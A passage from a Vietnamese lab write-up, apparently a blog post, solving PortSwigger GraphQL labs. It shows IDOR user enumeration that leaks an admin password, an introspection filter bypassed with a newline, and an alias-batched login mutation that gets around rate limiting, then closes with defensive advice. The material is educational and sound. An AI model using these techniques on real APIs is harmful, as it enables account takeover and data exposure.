<p>Đây là một design flaw rõ ràng:</p>

<ul>
  <li>API expose field nhạy cảm (password)</li>
  <li>Không có dấu hiệu filtering theo role</li>
</ul>

<p>Mình gửi query <code class="language-plaintext highlighter-rouge">getUser</code> sang Repeater và thử với giá trị mặc định (<code class="language-plaintext highlighter-rouge">id = 0</code>) nhưng không có kết quả.</p>

<p>Để thuận tiện cho việc generate ra querry thì bạn có thể sử dụng extension InQL trong BAppstore của Burpsuite</p>

<p><img src="/assets/images/graphql/image-11.png" alt="image.png" /></p>

<p>Tiếp theo, đơn giản là thử các giá trị ID khác. Vì đây là lab, ID thường là số nhỏ và tuần tự. Khi thử <code class="language-plaintext highlighter-rouge">id = 1</code>, server trả về:</p>

<p><img src="/assets/images/graphql/image-12.png" alt="image.png" /></p>

<ul>
  <li>username: administrator</li>
  <li>password: (password thật)</li>
</ul>

<p>Dùng username và password vừa lấy được để đăng nhập lại vào hệ thống.</p>

<p>Sau khi login thành công với quyền admin, truy cập vào Admin panel và xóa user <code class="language-plaintext highlighter-rouge">carlos</code> là hoàn thành lab.</p>

<p>Lab: Finding a hidden GraphQL endpoint – Walkthrough</p>

<p><img src="/assets/images/graphql/image-13.png" alt="image.png" /></p>

<p>Khi vào lab, nếu chỉ click qua các chức năng trên web thì gần như không thấy dấu hiệu nào của GraphQL. Điều này gợi ý ngay từ đầu: endpoint có thể bị ẩn, không được gọi trực tiếp từ frontend.</p>

<p>Lúc này mình không đi theo hướng “click UI” nữa mà chuyển sang brute nhẹ các endpoint phổ biến trong Repeater, kiểu như <code class="language-plaintext highlighter-rouge">/graphql</code>, <code class="language-plaintext highlighter-rouge">/api</code>, <code class="language-plaintext highlighter-rouge">/graphql/v1</code>…</p>

<p>Khi gửi request GET tới <code class="language-plaintext highlighter-rouge">/api</code>, server trả về lỗi kiểu <code class="language-plaintext highlighter-rouge">"Query not present"</code>. Đây là một dấu hiệu rất đặc trưng của GraphQL — tức là endpoint tồn tại, nhưng mình chưa gửi query.</p>

<p><img src="/assets/images/graphql/image-14.png" alt="image.png" /></p>

<p>Thử thêm một universal query đơn giản vào URL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/api?query=query{__typename}
</code></pre></div></div>

<p>Response trả về:</p>

<p><img src="/assets/images/graphql/image-15.png" alt="image.png" /></p>

<p>Đến đây có thể khẳng định <code class="language-plaintext highlighter-rouge">/api</code> chính là GraphQL endpoint, chỉ là nó không được expose ra UI.</p>

<p>###</p>

<p>Bước tiếp theo là enumerate schema bằng introspection. Tuy nhiên khi gửi introspection query bình thường, server từ chối — rõ ràng có cơ chế chặn.</p>

<p><img src="/assets/images/graphql/image-16.png" alt="image.png" /></p>

<p>Nhưng điểm yếu ở đây là cách chặn không cẩn thận. Nhiều hệ thống chỉ dùng regex để block pattern kiểu <code class="language-plaintext highlighter-rouge">__schema{</code>.</p>

<p>GraphQL parser thì không quan tâm whitespace, nên nếu chèn thêm ký tự xuống dòng hoặc space, query vẫn hợp lệ nhưng không còn match regex nữa.</p>

<p>Mình sửa introspection query bằng cách thêm newline sau <code class="language-plaintext highlighter-rouge">__schema</code>, rồi encode lại vào URL.</p>

<p>Sau khi gửi lại request, lần này server trả về full schema.</p>

<p><img src="/assets/images/graphql/image-17.png" alt="image.png" /></p>

<p>Điều này giúp mình xác nhận rằng :</p>

<ul>
  <li>Introspection không thực sự bị disable</li>
  <li>Chỉ bị filter bằng regex yếu</li>
</ul>

<p>Sau khi có schema, mình dùng Burp lưu toàn bộ query vào site map để dễ xem.</p>

<p>Lúc này có thể thấy các query và mutation quan trọng, trong đó có:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">getUser</code></li>
  <li><code class="language-plaintext highlighter-rouge">deleteOrganizationUser</code></li>
</ul>

<p>Đây là 2 function rất đáng chú ý:</p>

<ul>
  <li>Một cái để lấy user</li>
  <li>Một cái để xóa user</li>
</ul>

<p>Mình gửi <code class="language-plaintext highlighter-rouge">getUser</code> vào Repeater và thử với các ID khác nhau.</p>

<p>Ban đầu <code class="language-plaintext highlighter-rouge">id = 0</code> không trả về gì. Tiếp tục tăng dần, đến <code class="language-plaintext highlighter-rouge">id = 3</code> thì thấy trả về user <code class="language-plaintext highlighter-rouge">carlos</code>.</p>

<p><img src="/assets/images/graphql/image-18.png" alt="image.png" /></p>

<p>Như vậy: ID của carlos là 3</p>

<p><img src="/assets/images/graphql/image-19.png" alt="image.png" /></p>

<p>###</p>

<p>Quay lại schema, mình thấy mutation <code class="language-plaintext highlighter-rouge">deleteOrganizationUser</code> nhận input là user ID.</p>

<p>Chỉ cần craft một mutation đơn giản, truyền <code class="language-plaintext highlighter-rouge">id = 3</code>.</p>

<p><img src="/assets/images/graphql/image-20.png" alt="image.png" /></p>

<p>Sau khi gửi, user <code class="language-plaintext highlighter-rouge">carlos</code> bị xóa và lab hoàn thành.</p>

<h3 id="lab-bypassing-graphql-brute-force-protections">Lab: Bypassing GraphQL brute force protections</h3>

<p>Lab này yêu cầu brute force tài khoản <code class="language-plaintext highlighter-rouge">carlos</code>, nhưng API có <strong>rate limiting</strong>.</p>

<p>Điểm mấu chốt là phải <strong>bypass rate limit bằng GraphQL aliases</strong>.</p>

<p>Khi truy cập chức năng đăng nhập, có thể thấy request login được gửi dưới dạng <strong>GraphQL mutation</strong>.</p>

<p><img src="/assets/images/graphql/image-21.png" alt="image.png" /></p>

<p>Khi thử login sai nhiều lần trong Burp Repeater, server bắt đầu trả về lỗi rate limit. Điều này chứng tỏ API đang giới hạn số lượng request theo thời gian.</p>

<p>Tuy nhiên, cơ chế này chỉ đếm <strong>số HTTP request</strong>, không quan tâm bên trong request có bao nhiêu operation.</p>

<p>GraphQL hỗ trợ <strong>aliases</strong>, để cho các bạn ko biết aliases là gì thì mình có viết ở trên nhé , thì aliases cho phép gửi nhiều operation trong một request.</p>

<p>Điều này tạo ra một điểm yếu quan trọng:</p>

<ul>
  <li>Thay vì gửi nhiều request → bị rate limit</li>
  <li>Ta gửi <strong>1 request duy nhất chứa hàng chục login thì sẽ ko bị dính request</strong></li>
</ul>

<p>Sau khi gửi request login vào Repeater, bạn cần chỉnh sửa lại payload.</p>

<p>Đầu tiên, bỏ phần <code class="language-plaintext highlighter-rouge">variables</code> và <code class="language-plaintext highlighter-rouge">operationName</code>, vì ta sẽ viết query thủ công.</p>

<p><img src="/assets/images/graphql/image-22.png" alt="image.png" /></p>

<p>Sau đó, tạo một mutation chứa nhiều alias, mỗi alias là một lần thử password khác nhau cho user <code class="language-plaintext highlighter-rouge">carlos</code>.</p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mutation {
  bruteforce0: login(input:{username:"carlos", password:"123456"}) {
    token
    success
  }

  bruteforce1: login(input:{username:"carlos", password:"password"}) {
    token
    success
  }

  bruteforce2: login(input:{username:"carlos", password:"qwerty"}) {
    token
    success
  }
}
</code></pre></div></div>

<p>Bạn có thể generate danh sách này từ wordlist password của lab (bạn có thể nhờ gpt viết dùm cho nhanh hehe =))</p>

<p><img src="/assets/images/graphql/image-23.png" alt="image.png" /></p>

<p>Khi gửi request:</p>

<ul>
  <li>Server sẽ trả về response chứa <strong>kết quả của từng alias</strong></li>
  <li>Mỗi alias có field <code class="language-plaintext highlighter-rouge">success</code></li>
</ul>

<p>Chỉ cần tìm:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"success": true
</code></pre></div></div>

<p>→ đó là password đúng.</p>

<p><img src="/assets/images/graphql/image-24.png" alt="image.png" /></p>

<h1 id="preventing-graphql-attacks">Preventing graphql-attacks</h1>

<p>Khi deploy GraphQL API lên production, nếu cấu hình không cẩn thận thì rất dễ dính các lỗi như lộ schema, brute force, hoặc CSRF. Dưới đây là những điểm quan trọng cần lưu ý.</p>

<h2 id="bảo-vệ-schema-và-thông-tin-nhạy-cảm">Bảo vệ schema và thông tin nhạy cảm</h2>

<p>Nếu API không dành cho public, nên <strong>tắt introspection</strong> để tránh việc attacker dễ dàng xem toàn bộ schema. Điều này giúp giảm đáng kể khả năng bị lộ cấu trúc API và các field nhạy cảm.</p>

<p>Trong trường hợp API public và bắt buộc phải bật introspection, cần rà soát kỹ schema để đảm bảo không expose các field quan trọng như email, user ID hoặc dữ liệu nội bộ.</p>

<p>Ngoài ra, nên <strong>tắt cơ chế suggestions</strong>. Nếu để bật, attacker có thể lợi dụng lỗi gợi ý để suy ra tên field hoặc query hợp lệ, từ đó từng bước reconstruct schema (ví dụ dùng tool như Clairvoyance).</p>

<h2 id="ngăn-chặn-brute-force--abuse">Ngăn chặn brute force &amp; abuse</h2>

<p>GraphQL có một điểm yếu là có thể bị abuse thông qua <strong>aliases</strong> hoặc query phức tạp. Vì vậy, việc chỉ dùng rate limit theo HTTP request là chưa đủ.</p>

<p>Cách phòng thủ hiệu quả hơn là kiểm soát trực tiếp query:</p>

<ul>
  <li><strong>Giới hạn độ sâu (query depth)</strong>: tránh các query lồng nhiều tầng gây tốn tài nguyên hoặc bị lợi dụng cho DoS</li>
  <li><strong>Giới hạn số lượng operation / alias</strong>: ngăn attacker nhồi nhiều request vào một query</li>
  <li><strong>Giới hạn kích thước query</strong>: tránh payload quá lớn</li>
  <li><strong>Áp dụng cost analysis</strong>: tính toán “chi phí” của query, nếu quá nặng thì reject ngay</li>
</ul>

<p>Những biện pháp này giúp giảm khả năng brute force và abuse tài nguyên server.</p>

<h2 id="ngăn-chặn-csrf-với-graphql">Ngăn chặn CSRF với GraphQL</h2>

<p>GraphQL cũng có thể dính CSRF nếu cấu hình không đúng.</p>

<p>Để phòng tránh:</p>

<ul>
  <li>Chỉ accept request dạng <strong>POST + application/json</strong></li>
  <li>Validate đúng <strong>Content-Type</strong></li>
  <li>Sử dụng <strong>CSRF token</strong> cho các hành động quan trọng</li>
</ul>

<p>Điều này giúp đảm bảo request thực sự đến từ client hợp lệ, không phải bị giả mạo từ bên thứ ba.</p>

<p>Cảm ơn các bạn đã dành thời gian đọc bài viết mình!!!</p>

<p>Bạn có thể tham khảo thêm về blog về lỗ hổng này mình thấy họ viết khá là hay ở đây</p>

<p><a href="https://deepstrike.io/blog/graphql-api-vulnerabilities-and-common-attacks">https://deepstrike.io/blog/graphql-api-vulnerabilities-and-common-attacks</a></p>

<p><a href="https://docs.google.com/document/d/10QUvigaj1IYl2TAStm96mXcroP7ysVX-q0ryXxAJFwU/edit?tab=t.0">Document từ thầy Nguyễn Thành Tâm - team mình ❤️</a></p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Penetration-Testing" /><category term="graphql" /><category term="api" /><category term="idor" /><category term="introspection" /><category term="brute-force" /><category term="portswigger" /><category term="owasp" /><summary type="html"><![CDATA[I. Lời mở đầu]]></summary></entry></feed>